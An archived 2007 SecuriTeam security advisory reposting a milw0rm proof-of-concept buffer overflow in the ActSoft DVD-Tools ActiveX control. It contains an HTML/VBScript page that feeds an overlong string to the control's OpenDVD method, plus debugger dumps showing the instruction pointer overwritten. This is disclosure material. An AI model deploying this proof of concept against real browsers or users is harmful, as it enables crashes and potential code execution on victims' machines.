

[EXPL] ActSoft DVD-Tools Buffer Overflow (dvdtools.ocx, Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2007-02/msg00054.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxxx>
 - *Date:* 15 Feb 2007 20:06:32 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

ActSoft DVD-Tools Buffer Overflow (dvdtools.ocx, Exploit)

SUMMARY

ActSoft DVD Tools ActiveX allows "you to convert (rip) any DVD to VCD, SVCD, MPEG-1, MPEG-2, MPEG-4, AVI, DivX, and XviD". Buffer overflow vulnerability has been discovered in ActSoft DVD-Tools ActiveX allows remote attackers to cause the program to execute arbitrary code.

DETAILS

Exploit:

<html>

ActSoft DVD-Tools (dvdtools.ocx) Buffer Overflow

developer's url: <a

href=<http://www.activex-soft.com/>><http://www.activex-soft.com>

author: shinnai

mail: [shinnai\[at\]autistici\[dot\]org](mailto:shinnai[at]autistici[dot]org)

site: <a

href=<http://shinnai.altervista.org>><http://shinnai.altervista.org>

Tested on Windows XP Professional SP2 all patched, with Internet

[EXPL] ActSoft DVD-Tools Buffer Overflow (dvdtools.ocx, Exploit)

Explorer 7

This product is sold under 1 Developer License for \$129 and under Site Wide License for \$499 :)

Using only 400 characters will cause just a crash of IE7 (or of the software that use this

activex), increasing the number of characters EIP will be overwrite and arbitrary code execution

will be possible.

<object classid='clsid:894A633E-F261-28BD-96F3-380EBEE1BADE' id='DVD_TOOLS' ></object>

<input type="button" value="Click here to start the test" language="VBScript" OnClick="VBButtonClicked(">

<script language="VBScript">

sub VBButtonClicked()

ActiveX_File = "C:\Programmi\ActiveX Soft\ActSoft DVD-Tools\dvdtools.ocx"

Method = "OpenDVD"

Variable_Declaration = "Sub OpenDVD (ByVal path As String)"

ArgCount = 1

Arg1=String(2500,"A")

DVD_TOOLS.OpenDVD Arg1

End Sub

</script>

This is a dump of registers

12:18:20.295 pid=0D6C tid=0AD0 EXCEPTION (first-chance)

 Exception C0000005 (ACCESS_VIOLATION reading [414145C5])

 EAX=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ??
?? ??

 EBX=0174F414: 41 41 41 41 41 41 41 41-41 41 41 41 41 41
41 41

 ECX=000097F9: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ??
?? ??

 EDX=0174FC0C: 6F 00 00 00 00 00 00 00-60 60 1C 03 01 00
74 01

 ESP=0174F080: 50 F1 74 01 68 3A 14 00-6B 1F 94 7C 41 1C
94 7C

[EXPL] ActSoft DVD-Tools Buffer Overflow (dvdtools.ocx, Exploit)

 EBP=0174F3F8: 41 41 41 41 41 41 41 41-41 41 41 41 41 41
41 41

 ESI=00000008: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ??
?? ??

 EDI=031AD432: 00 00 00 00 00 00 00 00-00 00 00 00 00 00
00 00

 EIP=047A184D: 8B 90 84 04 00 00 8D 88-7C 04 00 00 85 D2
7E 09

 --> N/A

12:18:20.311 pid=0D6C tid=0AD0 EXCEPTION (first-chance)

 Exception C0000005 (ACCESS_VIOLATION reading [41414141])

 EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ??
?? ??

 EBX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ??
?? ??

 ECX=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ??
?? ??

 EDX=7C9137D8: 8B 4C 24 04 F7 41 04 06-00 00 00 B8 01 00
00 00

 ESP=0174ECB0: BF 37 91 7C 98 ED 74 01-EC F3 74 01 B4 ED
74 01

 EBP=0174ECD0: 80 ED 74 01 8B 37 91 7C-98 ED 74 01 EC F3
74 01

 ESI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ??
?? ??

 EDI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ??
?? ??

 EIP=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ??
?? ??

 --> N/A

12:18:20.311 pid=0D6C tid=0AD0 EXCEPTION (first-chance)

 Exception C0000005 (ACCESS_VIOLATION reading [41414141])

 EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ??
?? ??

 EBX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ??
?? ??

 ECX=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ??

[EXPL] ActSoft DVD-Tools Buffer Overflow (dvdtools.ocx, Exploit)

?? ??

 EDX=7C9137D8: 8B 4C 24 04 F7 41 04 06-00 00 00 B8 01 00
00 00

 ESP=0174E8E0: BF 37 91 7C C8 E9 74 01-EC F3 74 01 E4 E9
74 01

 EBP=0174E900: B0 E9 74 01 8B 37 91 7C-C8 E9 74 01 EC F3
74 01

 ESI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ??
?? ??

 EDI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ??
?? ??

 EIP=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ??
?? ??

 --> N/A

To be continued...

ADDITIONAL INFORMATION

The information has been provided by milw0rm.
The original article can be found at:
<<http://www.milw0rm.com/exploits/3307>>
<http://www.milw0rm.com/exploits/3307>

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@xxxxxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxxx

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential,
loss of business profits or special damages.